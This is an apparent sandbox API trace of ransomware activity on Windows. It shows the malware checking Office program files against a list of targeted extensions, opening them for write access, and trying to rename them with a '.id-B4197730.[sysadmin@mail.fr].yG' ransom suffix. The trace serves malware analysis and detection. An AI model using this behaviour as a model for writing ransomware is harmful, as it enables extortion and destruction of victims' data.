	[0155.545] lstrlenW (lpString=".7z") returned 3
	[0155.545] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0155.546] lstrlenW (lpString=".dbf") returned 4
	[0155.546] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0155.546] lstrlenW (lpString=".1cd") returned 4
	[0155.546] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80
	[0155.546] lstrlenW (lpString=".jpg") returned 4
	[0155.546] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.546] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0155.546] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33
	[0155.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0155.547] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=22720) returned 1
	[0155.547] CloseHandle (hObject=0x550) returned 1
	[0155.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220
	[0155.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0155.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0155.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0155.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0155.550] lstrlenW (lpString=".doc") returned 4
	[0155.550] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.550] lstrlenW (lpString=".docx") returned 5
	[0155.550] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.550] lstrlenW (lpString=".pdf") returned 4
	[0155.550] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.550] lstrlenW (lpString=".xls") returned 4
	[0155.550] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.550] lstrlenW (lpString=".xlsx") returned 5
	[0155.550] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.550] lstrlenW (lpString=".ppt") returned 4
	[0155.550] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0155.550] lstrlenW (lpString=".zip") returned 4
	[0155.550] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.550] lstrlenW (lpString=".rar") returned 4
	[0155.550] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.550] lstrlenW (lpString=".bz2") returned 4
	[0155.551] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.551] lstrlenW (lpString=".7z") returned 3
	[0155.551] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0155.551] lstrlenW (lpString=".dbf") returned 4
	[0155.551] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0155.551] lstrlenW (lpString=".1cd") returned 4
	[0155.551] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0155.551] lstrlenW (lpString=".jpg") returned 4
	[0155.551] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0155.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0155.551] lstrlenW (lpString=".doc") returned 4
	[0155.551] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.551] lstrlenW (lpString=".docx") returned 5
	[0155.551] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.551] lstrlenW (lpString=".pdf") returned 4
	[0155.551] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.551] lstrlenW (lpString=".xls") returned 4
	[0155.551] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.551] lstrlenW (lpString=".xlsx") returned 5
	[0155.551] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.551] lstrlenW (lpString=".ppt") returned 4
	[0155.552] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0155.552] lstrlenW (lpString=".zip") returned 4
	[0155.552] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.552] lstrlenW (lpString=".rar") returned 4
	[0155.552] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.552] lstrlenW (lpString=".bz2") returned 4
	[0155.552] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.552] lstrlenW (lpString=".7z") returned 3
	[0155.552] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0155.552] lstrlenW (lpString=".dbf") returned 4
	[0155.552] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0155.552] lstrlenW (lpString=".1cd") returned 4
	[0155.552] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0155.552] lstrlenW (lpString=".jpg") returned 4
	[0155.552] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.552] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0155.552] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37
	[0155.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0155.554] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=19136) returned 1
	[0155.554] CloseHandle (hObject=0x550) returned 1
	[0155.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220
	[0155.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0155.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0155.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0155.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0155.554] lstrlenW (lpString=".doc") returned 4
	[0155.554] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.554] lstrlenW (lpString=".docx") returned 5
	[0155.554] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.554] lstrlenW (lpString=".pdf") returned 4
	[0155.554] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.554] lstrlenW (lpString=".xls") returned 4
	[0155.555] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.555] lstrlenW (lpString=".xlsx") returned 5
	[0155.555] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.555] lstrlenW (lpString=".ppt") returned 4
	[0155.555] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0155.555] lstrlenW (lpString=".zip") returned 4
	[0155.555] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.555] lstrlenW (lpString=".rar") returned 4
	[0155.555] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.555] lstrlenW (lpString=".bz2") returned 4
	[0155.555] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.555] lstrlenW (lpString=".7z") returned 3
	[0155.555] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0155.555] lstrlenW (lpString=".dbf") returned 4
	[0155.555] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0155.555] lstrlenW (lpString=".1cd") returned 4
	[0155.555] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0155.555] lstrlenW (lpString=".jpg") returned 4
	[0155.555] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0155.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0155.555] lstrlenW (lpString=".doc") returned 4
	[0155.556] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.556] lstrlenW (lpString=".docx") returned 5
	[0155.556] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.556] lstrlenW (lpString=".pdf") returned 4
	[0155.556] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.556] lstrlenW (lpString=".xls") returned 4
	[0155.556] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.556] lstrlenW (lpString=".xlsx") returned 5
	[0155.556] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.556] lstrlenW (lpString=".ppt") returned 4
	[0155.556] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0155.556] lstrlenW (lpString=".zip") returned 4
	[0155.556] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.556] lstrlenW (lpString=".rar") returned 4
	[0155.556] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.556] lstrlenW (lpString=".bz2") returned 4
	[0155.556] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.556] lstrlenW (lpString=".7z") returned 3
	[0155.556] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0155.557] lstrlenW (lpString=".dbf") returned 4
	[0155.557] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0155.557] lstrlenW (lpString=".1cd") returned 4
	[0155.557] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0155.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0155.557] lstrlenW (lpString=".jpg") returned 4
	[0155.557] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0155.557] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0155.557] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36
	[0155.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0155.558] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=20672) returned 1
	[0155.558] CloseHandle (hObject=0x550) returned 1
	[0155.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220
	[0155.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0155.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0155.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85
	[0155.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85
	[0155.558] lstrlenW (lpString=".doc") returned 4
	[0155.558] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.558] lstrlenW (lpString=".docx") returned 5
	[0155.558] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.558] lstrlenW (lpString=".pdf") returned 4
	[0155.559] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.559] lstrlenW (lpString=".xls") returned 4
	[0155.559] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.559] lstrlenW (lpString=".xlsx") returned 5
	[0155.559] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.559] lstrlenW (lpString=".ppt") returned 4
	[0155.559] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0155.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85
	[0155.559] lstrlenW (lpString=".zip") returned 4
	[0155.559] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0155.559] lstrlenW (lpString=".rar") returned 4
	[0155.559] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0155.559] lstrlenW (lpString=".bz2") returned 4
	[0155.559] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0155.559] lstrlenW (lpString=".7z") returned 3
	[0155.559] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0155.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85
	[0155.559] lstrlenW (lpString=".dbf") returned 4
	[0155.559] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0155.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0155.560] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=19648) returned 1
	[0155.560] CloseHandle (hObject=0x550) returned 1
	[0155.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x220
	[0155.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0155.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0155.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0155.565] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=19136) returned 1
	[0155.565] CloseHandle (hObject=0x550) returned 1
	[0155.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x220
	[0155.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0155.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0155.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0155.566] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=29376) returned 1
	[0155.567] CloseHandle (hObject=0x550) returned 1
	[0155.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x220
	[0155.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0155.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0155.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.161] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=26816) returned 1
	[0156.161] CloseHandle (hObject=0x350) returned 1
	[0156.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x220
	[0156.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0156.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0156.873] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=1007320) returned 1
	[0156.873] CloseHandle (hObject=0x54c) returned 1
	[0156.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll")) returned 0x220
	[0156.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0156.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0156.876] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=1832664) returned 1
	[0156.876] CloseHandle (hObject=0x54c) returned 1
	[0156.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll")) returned 0x220
	[0156.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0156.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0156.896] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=545) returned 1
	[0156.896] CloseHandle (hObject=0x518) returned 1
